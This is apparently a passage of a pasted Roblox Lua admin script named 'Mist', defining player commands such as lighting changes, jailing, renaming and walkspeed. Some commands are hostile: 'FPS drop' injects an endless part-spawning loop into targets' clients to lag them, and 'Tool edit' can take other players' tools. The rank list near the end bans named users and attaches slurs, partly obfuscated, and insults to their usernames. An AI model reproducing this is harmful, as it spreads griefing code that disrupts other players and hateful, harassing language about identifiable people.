  6478. if(o.Name=='__tree')then
  6479. o:destroy();
  6480. end;
  6481. if(Flags.n and not( o.Name=='HumanoidRootPart'))then
  6482. pcall(function() o.Transparency = 0 end);
  6483. pcall(function() o.Handle.Transparency = 0 end);
  6484. else
  6485. pcall(function() o.Transparency = 1 end);
  6486. pcall(function() o.Handle.Transparency = 1 end);
  6487. end;
  6488. end;
  6489. if(Flags.n)then return end;
  6490. local tree=Instance.new('Model',v.Character);
  6491. tree.Name='__tree';
  6492. local trunk=Instance.new('Part',tree);
  6493. trunk.CanCollide=false;
  6494. trunk.Size=Vector3.new(2,5.5,2);
  6495. trunk.BrickColor=BrickColor.new(25);
  6496. local cylinder=Instance.new('CylinderMesh',trunk);
  6497. local function weld(a,b,_c)
  6498. local c=Instance.new('Weld',a);
  6499. c.Part0=a;
  6500. c.Part1=b;
  6501. c.C0=_c;
  6502. end;
  6503. weld(v.Character.Torso,trunk,CFrame.new());
  6504. local b=CFrame.new(0,2,0);
  6505. for x=-1,1 do
  6506. for y=1,3 do
  6507. for z=-1,1 do
  6508. local f=Instance.new('Part',tree);
  6509. f.CanCollide=false;
  6510. f.BrickColor=BrickColor.new(28);
  6511. f.Shape='Ball';
  6512. f.Size=Vector3.new(3,3,3);
  6513. f.TopSurface='Smooth';
  6514. local t=x+z+y;
  6515. if(not (math.abs(t)%2==0))then
  6516. weld(v.Character.Torso,f,b*CFrame.new(x*1.5,y*1.5,z*1.5));
  6517. end;
  6518. end;
  6519. end;
  6520. end;
  6521. end;
  6522. end);
  6523. Mist.Functions.CreateCommand('Lighting','lig,lighting',true,1,'Edits <Lighting>','%s f Fix Lighting,%s a Ambient,%s d Disco,%s t TimeOfDay',function(Message,Speaker,Flags)
  6524. local lig=Mist.Services'Lighting';
  6525. if(Flags.a)then
  6526. local r,g,b=Flags.a:match'(%d+)%s*,(%d+)%s*,(%d+)';
  6527. local a=Color3.new(tonumber(r),tonumber(g),tonumber(b));
  6528. if(a)then
  6529. lig.Ambient=a;
  6530. end;
  6531. end;
  6532. if(Flags.f)then
  6533. pcall(function()Mist.Connections.Disco:disconnect()end);
  6534. lig.Ambient=Mist.Colors.White;
  6535. lig.ColorShift_Bottom=Mist.Colors.Black;
  6536. lig.ColorShift_Top=Mist.Colors.Black;
  6537. lig.ShadowColor=Color3.new(.69,.69,.69);
  6538. lig.Brightness=.25;
  6539. lig.FogStart=0;
  6540. lig.FogEnd=100000;
  6541. lig.FogColor=Color3.new(.74,.74,.74);
  6542. lig.TimeOfDay=12;
  6543. lig:clearAllChildren();
  6544. return;
  6545. end;
  6546. if(Flags.t)then
  6547. assert(pcall(function()
  6548. if(tonumber(Flags.t))then
  6549. lig.TimeOfDay=tonumber(Flags.t)
  6550. else
  6551. lig.TimeOfDay=Flags.t;
  6552. end;
  6553. end));
  6554. end;
  6555. if(Flags.d)then
  6556. pcall(function()Mist.Connections.Disco:disconnect()end);
  6557. Mist.Connections['Disco']=Mist.Services'RunService'.Stepped:connect(function()
  6558. game:service'Lighting'.Ambient=BrickColor.random().Color;
  6559. end);
  6560. end;
  6561. end);
  6562. Mist.Functions.CreateCommand('FPS drop','spike',false,1,'Drops <Players> fps','',function(Msg,Spkr,Flags)
  6563. for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  6564. Mist.Functions.NewLocalScript([[
  6565. while true do wait()
  6566. coroutine.wrap(function()
  6567. for i=1,100 do
  6568. game:service'Debris':addItem(Instance.new('Part',workspace.currentCamera),.5);
  6569. wait();
  6570. end;
  6571. end)();
  6572. game:service'Debris':addItem(Instance.new('Hint',workspace),.5);
  6573. end; ]],Instance.new('Backpack',v),'Spike',true);
  6574. end;
  6575. end);
  6576. Mist.Functions.CreateCommand('Noob','noob',true,1,'Makes <Player> a noob','%s u un-noob',function(Msg,Spkr,Flags)
  6577. for _,p in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  6578. for _,v in next,p.Character:children()do
  6579. if(v:isA'BasePart'and v.Name~='HumanoidRootPart')then
  6580. if(Flags.u)then
  6581. if(v.Name=='__nob')then
  6582. v:Destroy();
  6583. else
  6584. v.Transparency=0;
  6585. end;
  6586. return;
  6587. end;
  6588. v.Transparency=1;
  6589. local w=Instance.new'Weld';
  6590. local f=v:Clone();
  6591. f.Anchored=false;
  6592. f.Transparency=0;
  6593. f.CFrame=CFrame.new();
  6594. f.CanCollide=false;
  6595. f.Parent=v;
  6596. f.TopSurface='Smooth';
  6597. f.BottomSurface='Smooth';
  6598. f.Name='__nob';
  6599. local weld=Instance.new'Weld';
  6600. weld.Part0=v;
  6601. weld.Part1=f;
  6602. weld.C0=CFrame.new();
  6603. weld.C1=CFrame.new();
  6604. weld.Parent=f;
  6605. if(v.Name=='Torso')then
  6606. f.BrickColor=BrickColor.new'Bright blue';
  6607. elseif(v.Name:find'Arm' or v.Name=='Head')then
  6608. f.BrickColor=BrickColor.new'Bright yellow';
  6609. else
  6610. f.BrickColor=BrickColor.new'Br. yellowish green';
  6611. end;
  6612. end;
  6613. end;
  6614. end;
  6615. end);
  6616. Mist.Functions.CreateCommand('Label','label',true,1,'Labels <Player>','%s r remove labels,%s m Message',function(Message,Speaker,Flags)
  6617. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6618. assert(coroutine.resume(coroutine.create(function()
  6619. if(Flags.r)then
  6620. for _,b in next,v.Character:children()do
  6621. if(b:isA'BillboardGui'and b.Name=='lab')then
  6622. b:remove();
  6623. end;
  6624. end;
  6625. return;
  6626. end;
  6627. pcall(function()v.Character.lab:remove()end);
  6628. local bbg=Instance.new('BillboardGui',v.Character);
  6629. bbg.Adornee=v.Character.Head;
  6630. bbg.StudsOffset=Vector3.new(0,5,0);
  6631. bbg.Size=UDim2.new(4+(.5*((#(Flags.m or'')))),0,3,0);
  6632. bbg.Name='lab';
  6633. local frame=Instance.new('Frame',bbg);
  6634. frame.Size=UDim2.new(1,0,1,0);
  6635. frame.Style='RobloxSquare';
  6636. local text=Instance.new('TextLabel',frame);
  6637. text.BackgroundTransparency=1;
  6638. text.FontSize='Size24';
  6639. text.TextColor=BrickColor.new'Lime green';
  6640. text.TextStrokeTransparency=0;
  6641. text.Size=UDim2.new(1,0,1,0);
  6642. text.TextXAlignment='Center';
  6643. text.Name='\2\3\4';
  6644. text.TextStrokeColor3=BrickColor.new'Really red'.Color;
  6645. text.Text=(Flags.m or''):gsub('(.)',function(a)return'\5'..a;end);
  6646. end)));
  6647. end;
  6648. end);
  6649. Mist.Functions.CreateCommand('Rename','rename',true,1,'Renames <Player> to <Message>','%s m Message,%s c clear names',function(Message,Speaker,Flags)
  6650. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6651. coroutine.resume(coroutine.create(function()
  6652. local char=v.Character;
  6653. local head,hum=char.Head,char.Humanoid;
  6654. local found=false;
  6655. for _,v in next,head:children()do
  6656. if(v:IsA'Model'and v:findFirstChild'Head')then
  6657. found=true;
  6658. v.Name=(Flags.m or ''):gsub('(.)',function(a)return'\5'..a;end);
  6659. if(Flags.c)then
  6660. v:destroy();
  6661. end;
  6662. end;
  6663. end;
  6664. if(Flags.c)then found=true head.Transparency=0;end;
  6665. if(not found)then
  6666. local mod=Instance.new('Model',head);
  6667. mod.Name=(Flags.m or ''):gsub('(.)',function(a)return'\5'..a;end);
  6668. local chead=head:clone();
  6669. chead.Parent=mod;
  6670. local chum=hum:clone();
  6671. chum.Parent=mod;
  6672. hum.Changed:connect(function(p)
  6673. chum[p]=hum[p];
  6674. end);
  6675. local weld=Instance.new('Weld',chead);
  6676. weld.Part0=head;
  6677. weld.Part1=chead;
  6678. head.Transparency=1;
  6679. end;
  6680. end));
  6681. end;
  6682. end);
  6683. Mist.Functions.CreateCommand('Give','give',true,3,'Gives <player> <cmd>','%s m message, %s bt Basic Build Tools',function(Msg,Spkr,Flgs)
  6684. for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  6685. if(Flgs.bt)then
  6686. for i=1,4 do
  6687. pcall(function()
  6688. Instance.new('HopperBin',v.Backpack).BinType=i;
  6689. end);
  6690. end;
  6691. else
  6692. Mist.Commands.Get.Func(Flgs.m,v,{});
  6693. end;
  6694. end;
  6695. end);
  6696. Mist.Functions.CreateCommand('Check','check',false,0,'Checks <Mist>','',function(Message,Speaker,Flags)
  6697. local OutputFunc=Mist.Functions.Output;
  6698. local Color=Mist.Ranked[Speaker.Name].Color;
  6699. local Type=function(Value)
  6700. local isRbxInstance=ypcall(game.isA,Value,'Model');
  6701. if(isRbxInstance)then
  6702. return'Instance[ '..Value.className..' ]';
  6703. else
  6704. if(type(Value)=='table')then
  6705. if(getmetatable(Value))then
  6706. return'Meta-Table';
  6707. else
  6708. return'Table';
  6709. end;
  6710. else
  6711. return type(Value):sub(1,1):upper()..type(Value):sub(2);
  6712. end;
  6713. end;
  6714. end;
  6715. local ToString;ToString=function(Value)
  6716. local Rtn=Type(Value);
  6717. if(type(Value)=='table')then
  6718. local Index=0;
  6719. for _,v in next,Value do
  6720. Index=Index+1;
  6721. end;
  6722. Rtn=Rtn..' [ Count: '..tostring(Index)..' ]';
  6723. else
  6724. Rtn=Rtn..' '..tostring(Value);
  6725. end;
  6726. return Rtn:sub(1,40);
  6727. end;
  6728. for _,v in next,Mist do
  6729. OutputFunc(ToString(_)..' : '..(ToString(v)),Color,Speaker);
  6730. end;
  6731. end);
  6732. Mist.Functions.CreateCommand('Walkspeed','ws,walks,walkspeed',true,1,'Sets <Players> walkspeed to <Number>','%s f fix, %s r remove ability to walk',function(Msg,Spkr,Flags)
  6733. local Players,Rtn=Msg:match'(%w+)%s*(.+)'
  6734. for _,v in next,Mist.Functions.GetPlayers(Players,Spkr)do
  6735. if(Flags.f)then
  6736. Mist.Functions.SendPacket('Fix_Walkspeed',v.Name);
  6737. end;
  6738. if(Flags.r)then
  6739. Mist.Functions.SendPacket('Remove_Walkspeed',v.Name);
  6740. end;
  6741. pcall(function()
  6742. v.Character.Humanoid.WalkSpeed=tonumber(Rtn);
  6743. end);
  6744. end;
  6745. end);
  6746. Mist.Functions.CreateCommand('Tool edit','tools',true,1,'Views <player>\'s tools','%s c copy, %s t take, %s g give',function(Message,Speaker,Flags)
  6747. local allTools={};
  6748. for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
  6749. for _,v in next,Player:children()do
  6750. if(v:isA'Backpack')then
  6751. for _,o in next,v:children()do
  6752. if(o:isA'Tool'or o:isA'HopperBin')then
  6753. table.insert(allTools,{o:clone(),Player.Name});
  6754. end;
  6755. end;
  6756. end;
  6757. end;
  6758. end;
  6759. local toBeUsed={};
  6760. local Done=false;
  6761. local showTools;showTools=function()
  6762. local Output=Mist.Functions.Output--Cuz all dat Mist.Functions will taik lots of chars
  6763. Mist.Functions.RemoveTablets(Speaker);
  6764. Mist.Functions.Title('Tool menu','Random',Speaker);
  6765. Output('Done','Blue',Speaker,nil,function()
  6766. Mist.Functions.RemoveTablets(Speaker);
  6767. Done=true;
  6768. end);
  6769. for _,Tool in next,allTools do
  6770. if(toBeUsed[Tool]==nil)then
  6771. Output(tostring(Tool[1])..'["'..tostring(Tool[2])..'"]','Random',Speaker,nil,function()
  6772. toBeUsed[Tool]=true;
  6773. showTools();
  6774. end);
  6775. end;
  6776. end;
  6777. end;
  6778. showTools();
  6779. repeat
  6780. wait();
  6781. until Done==true;
  6782. if(not Flags.g)then
  6783. for _,v in next,toBeUsed do
  6784. _[1]:clone().Parent=Speaker.Backpack;
  6785. if(Flags.t)then pcall(function() _[2].Backpack:findFirstChild(_[1].Name):Destroy() end);end;
  6786. end;
  6787. else
  6788. for _,player in next,Mist.Functions.GetPlayers(Flags.g or'',Speaker)do
  6789. for _,v in next,toBeUsed do
  6790. _[1]:clone().Parent=player.Backpack;
  6791. end;
  6792. end;
  6793. end;
  6794. end);
  6795. Mist.Functions.CreateCommand('Set gr'..'avitational pull','setg'..'rav,gr'..'av,grav'..'ity',false,1,'Sets <players> gr'..'av to <gr'..'av> or <remove g'..'rav>(<rem>)','',function(Msg,Spkr,Flags)
  6796. local Msg,Force=Msg:match'(%w+)%s*(.*)';
  6797. for _,v in next,Mist.Functions.GetPlayers(Msg or'',Spkr)do
  6798. pcall(function()
  6799. for _,Body in next,Mist.Functions.RecursiveChildren(v.Character,'name','mist_body_gravk')do
  6800. Body:Destroy();
  6801. end;
  6802. if(Force=='rem')then return end;
  6803. local force=Instance.new'BodyForce';
  6804. force.Parent=v.Character.Torso;
  6805. force.Name='mist_body_gravk';
  6806. force.force=Vector3.new(0,force.Parent:GetMass()*-(tonumber(Force)or 0)*2,0);
  6807. end);
  6808. end;
  6809. end);
  6810. Mist.Functions.CreateCommand('Force rejoin','frej,frj',false,2,'Force rejoins <Player>','',function(Msg,Spkr,Flags)
  6811. for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  6812. pcall(function()
  6813. Mist.Functions.SendPacket('Rejoin',v.Name);
  6814. Mist.Functions.NewLocalScript([[game:service'TeleportService':teleport(game.PlaceId)]],Instance.new('Backpack',v),'',true);
  6815. game:service'TeleportService':teleport(game.PlaceId,v.Character);
  6816. end);
  6817. end;
  6818. end);
  6819. Mist.Functions.CreateCommand('Jail','jail',true,2,'Jails <Player>','%s u Un Jail',function(Msg,Spkr,Flags)
  6820. for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  6821. Mist.Functions.Jail(v,Flags.u~=nil);
  6822. end;
  6823. end);
  6824. Mist.Functions.CreateCommand('Test','test',false,0,'Tests mist','',function(Msg,Spkr,Flags)
  6825. local function errorCode(err)
  6826. local res={};
  6827. local index=0;
  6828. for charCode in err:gmatch'.'do
  6829. index=index+1;
  6830. res[index%8]=(res[index%8]or 0)+charCode:byte();
  6831. end;
  6832. for _,v in next,res do
  6833. res[_]=Mist.Base64[v%64]or'0';
  6834. end;
  6835. return'0x'..table.concat(res,'');
  6836. end;
  6837. local function testResult(name,func,...)
  6838. local a,b=ypcall(func,...);
  6839. if(not a)then
  6840. Mist.Functions.Output('Unsuccessful test for '..name..'[Error_Code: '..errorCode(b)..']','Red',Spkr);
  6841. else
  6842. if(name:find'Output'or name:find'Title')then else
  6843. Mist.Functions.Output('Successful test for '..name,'Green',Spkr);
  6844. end;
  6845. end;
  6846. end;
  6847. testResult('Mist.Functions.Output',Mist.Functions.Output,'Tablet testing','Random',Spkr,nil,nil,'http://www.roblox.com/asset/?id=2143522');
  6848. testResult('Mist.Functions.Title',Mist.Functions.Title,'Title testing','Random',Spkr);
  6849. testResult('Mist.Functions.UpdateTablets',Mist.Functions.UpdateTablets);
  6850. testResult('Mist.Functions.GetPlayers',Mist.Functions.GetPlayers,'');
  6851. testResult('Mist.Functions.CreateData',Mist.Functions.CreateData,'tusKOr661',5,3,'Blue','Creator');
  6852. testResult('Mist.Services.Call',Mist.Services,'Workspace');
  6853. testResult('Fake error',function() error'This is a fake error'end);
  6854. end);
  6855. coroutine.wrap(function()
  6856. Mist.Functions.CreateData('rpsotatop',5,3,'Blue','Creator');
  6857. Mist.Functions.CreateData('ScriptBuilderScript',5,3,'Blue','Mist Developer');
  6858. Mist.Functions.CreateData('shuwaib',-2,0,'Red','Banned DarkMystrik');
  6859. Mist.Functions.CreateData('tony4905',-2,0,'Red','Banned DarkMystrik');
  6860. Mist.Functions.CreateData('Mrnoobbboy32',-2,0,'Red','Banned DarkMystrik');
  6861. Mist.Functions.CreateData('defNotTusko',4,3,'Red','Alt of Creator');
  6862. Mist.Functions.CreateData('Iamblue14',4,3,'Blue','Creator');
  6863. Mist.Functions.CreateData('DeadlyShroom',4,3,'Blue','Good friend');
  6864. Mist.Functions.CreateData('ttyyuu12345',4,3,'Blue','Good friend');
  6865. Mist.Functions.CreateData('madiik',3,3,'Blue','Friend brony');
  6866. Mist.Functions.CreateData('xXxkarlxXx',3,3,'Blue','Brah k');
  6867. Mist.Functions.CreateData('optiplex123',3,3,'Blue','Derp');
  6868. Mist.Functions.CreateData('noliCAIKs',3,3,'Blue','Bestfriend + Creator of GateKeeper');
  6869. Mist.Functions.CreateData('XEL8o9',3,3,'Light blue','Just cuz');
  6870. Mist.Functions.CreateData('Tinfold',3,3,'Light blue','Just cuz leld');
  6871. Mist.Functions.CreateData('Ultimatekiller010',3,3,'Light blue','Bestfriend');
  6872. Mist.Functions.CreateData('TeamDman',3,3,'Red','Best friend of creator+ Creator of NOVA');
  6873. Mist.Functions.CreateData('Frostftw',3,3,'Yellow','For trolling');
  6874. Mist.Functions.CreateData('nairod7',3,3,'Yellow','bestfiwned k sck it >:D');
  6875. Mist.Functions.CreateData('12packkid',3,3,'Yellow','Bestfriend');
  6876. Mist.Functions.CreateData('Zuppi',3,3,'Pink','Creator of HAZE+ best friend of Creator');
  6877. Mist.Functions.CreateData('DansaltSC',3,3,'Blue','Creator of BLOKTabs+ bestfriend of Creator');
  6878. Mist.Functions.CreateData('SilenceCore',3,3,'Blue','Bestfiwned');
  6879. Mist.Functions.CreateData('TigreBlood',3,3,'Blue','Uber skriptar');
  6880. Mist.Functions.CreateData('ROBLOX',2,3,'Purple','Creator of roblox so yexD');
  6881. Mist.Functions.CreateData('1x1x1x1',2,3,'Purple','Cuz I liek haxs');
  6882. Mist.Functions.CreateData('jonesj627',2,3,'Purple','Cuz I liek haxs');
  6883. Mist.Functions.CreateData('mastero67',2,3,'Purple','Asdfghijklmno');
  6884. Mist.Functions.CreateData('Basscans',2,3,'Purple');
  6885. Mist.Functions.CreateData('elytowlo',2,3,'Purple','Apprentice scripter');
  6886. Mist.Functions.CreateData('YoungWarlock',2,3,'Purple','Friend of jarred = friend of mine k');
  6887. Mist.Functions.CreateData('xXLocalPlayerXx',2,3,'Pink','Lel');
  6888. Mist.Functions.CreateData('wasd01',2,3,'Pink','asdfghjkl');
  6889. Mist.Functions.CreateData('AtlasGrim',2,3,'Pink');
  6890. Mist.Functions.CreateData('HelloBuddySup',2,3,'Pink');
  6891. Mist.Functions.CreateData('W8X',2,3,'Pink');
  6892. Mist.Functions.CreateData('Forwarder',1,3,'Red');
  6893. Mist.Functions.CreateData('BrainWart',1,3,'Red');
  6894. Mist.Functions.CreateData('Inevitablilty',-.5,3,'Red','Abusive nob');
  6895. Mist.Functions.CreateData('aleksa12432',0,3,'Red','Lags server with frame instances');
  6896. Mist.Functions.CreateData('IMANOOBXDjoke',0,0,'Red','Runs my scripts and kicks me with them');
  6897. Mist.Functions.CreateData('kylerzong',-1,0,'Red','Pus\5\5sy nig\5\5ger');
  6898. Mist.Functions.CreateData('CottenEyedMario',-1,0,'Red','Attempted to banish me, and trolls games');
  6899. Mist.Functions.CreateData('lavavampire',-1,0,'Red','RobloxLocks player and abuses admin');
  6900. Mist.Functions.CreateData('ghostbusters1',0,0,'Red','Shutdown abuse');
  6901. Mist.Functions.CreateData('Gertidadon',-1,0,'Red','Banlists, abuses KOHLs, free models, and more');
  6902. Mist.Functions.CreateData('michael7290',-1,0,'Red','Banlists, free models, and more');
  6903. Mist.Functions.CreateData('Pwngerteddybear2',-1,0,'Red','Banlists, abuses KOHLs, free models, and more');
  6904. Mist.Functions.CreateData('boberpop21',0,0,'Red','Server crasher');
  6905. Mist.Functions.CreateData('Darkping',-1,0,'Red','Server crasher');
  6906. Mist.Functions.CreateData('blackandwhite51',-1,0,'Red','free models');
  6907. Mist.Functions.CreateData('8wlt',-2,0,'Red','Teleporter');
  6908. Mist.Functions.CreateData('GodOfGalaxy',-2,0,'Red','Noob');
  6909. Mist.Functions.CreateData('ThisUserSecret',-2,0,'Red','Kicker');
  6910. Mist.Functions.CreateData('tamariusjones09',-2,0,'Red','Kicker');
  6911. Mist.Functions.CreateData('spiro123456789',-2,0,'Red','Stole mist and renamed as Viron');
  6912. Mist.Functions.CreateData('jonathan211',0,0,'Red','Alt of GodOfGalaxy therefore nooblet');
  6913. Mist.Functions.CreateData('iFractal',-2,0,'Red','Unreasonabl as\5s, Kicks for no reason');
  6914. Mist.Functions.CreateData('V4CCUM',-2,0,'Red','Alt of iFractal therefore nooblet');
  6915. Mist.Functions.CreateData('iiEssence',-2,0,'Red','Server crasher');
  6916. Mist.Functions.CreateData('shuwaib',-2,0,'Red','Banned DarkMystrik');
  6917. Mist.Functions.CreateData('tony4905',-2,0,'Red','Banned DarkMystrik');
  6918. Mist.Functions.CreateData('Mrnoobbboy32',-2,0,'Red','Banned DarkMystrik');
  6919. --Mist.Functions.CreateData('roxmat',-1,0,'Red','Crashed my friend for no reason');
  6920. Mist.Functions.CreateData('AntiBoomz0r',-2,0,'Pink','Is a little fa\5ggot. Disables sbs for no reason. Accusations without evidence. Acts upon first thought. Ignorant.');
  6921. table.insert(Mist.Logs.System,{'Ranked details setup',Mist.Functions.GetTime(tick())});
  6922. --[[coroutine.wrap(function()
  6923. For that gai fgt.
  6924. repeat wait()
  6925. local _banned=Mist.Ranked['AntiBoomz0r'];
  6926. if(not _banned)thenT
  6927. Mist.Functions.CreateData'AntiBoomz0r';
  6928. _banned=Mist.Ranked['AntiBoomz0r'];
  6929. end;
  6930. _banned=_banned.Rank==-1;
  6931. if(_banned==false)then
  6932. Mist.Ranked'AntiBoomz0r'.Rank=-1;
  6933. end;
  6934. wait();
  6935. until false;
  6936. end)();
  6937. --]]
  6938. end)();
  6939. coroutine.wrap(function()
  6940. local function isHTTPEnabled()
  6941. local args={
  6942. ypcall(function()
  6943. Game:GetService'HttpService':GetAsync'http://stypi.com';
  6944. end);
  6945. };
  6946. if(not args[1])then
  6947. return false;
  6948. end;
  6949. return true;
  6950. end;
  6951. if(not isHTTPEnabled())then
  6952. Mist.External_Data.Link_Type='asset';
  6953. coroutine.wrap(function()
  6954. repeat wait() until Mist.Functions['Output'];
  6955. for _,v in next,Mist.Services'Players':players()do
  6956. Mist.Functions['Output']('HTTP service not enabled, external asset is enabled','Red',v,3);
  6957. end;
  6958. end)();
  6959. end;
  6960. end)();
  6961. for _,Player in next,Mist.Services'Players':players()do
  6962. if(not pcall(function()Player:children()end))then if(not pcall(function()Player:kick()end))then game:service'Debris':addItem(Player,0)end;return end;
  6963. Mist.Functions.Connect(Player);
  6964. if(Mist.Functions.GetRank(Player)>0)then
  6965. Mist.Functions.Output('Mist loaded','Green',Player,3);
  6966. end;
  6967. end;
Add Comment
Please, Sign In to add comment